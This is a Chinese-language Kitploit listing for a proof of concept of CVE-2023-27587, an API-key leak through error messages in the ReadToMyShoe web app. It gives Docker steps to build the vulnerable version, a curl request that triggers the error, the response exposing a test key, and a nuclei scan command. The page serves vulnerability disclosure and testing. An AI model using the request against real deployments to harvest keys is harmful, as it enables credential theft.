Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-27587-PoC — CVE-2023-27587 的简单 PoC | Kitploit
工具/GitHubGitHub/vagnerd/cve-2023-27587-poc
漏洞分析漏洞利用信息收集Web安全秘密检测API 安全
GitHubvagnerd/cve-2023-27587-poc

CVE-2023-27587-PoC

CVE-2023-27587 的简单 PoC

查看仓库
51513年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-27587-PoC

CVE-2023-27587 的简单 PoC

什么是 ReadToMyShoe?

ReadtoMyShoe (RTMS) 是一个 Web 应用程序(使用 Rust、Yew 和 Axum),允许你上传文章(通过 URL 或直接粘贴),稍后收听。

影响

如果添加文章时发生错误,网站会向用户显示错误消息。如果错误源自 Google Cloud TTS 请求,那么它将包含请求的完整 URL。该请求 URL 包含 Google Cloud API 密钥。

PoC

搭建存在漏洞的 ReadToMyShoe

root@kitploit:~
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul

利用

密钥仅在 GCP 调用发生错误时暴露!

root@kitploit:~
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'content-type: application/json' \
  --data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'

响应错误(暴露的 API 密钥):

root@kitploit:~
TTS failed: TTS request failed

Caused by:
    HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

Screenshot from 2023-03-15 13-03-59

nuclei 模板

https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-27587.yaml

root@kitploit:~
$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>

Screenshot from 2023-03-15 13-22-23

参考

https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587

https://beta.readtomyshoe.com/

下载工具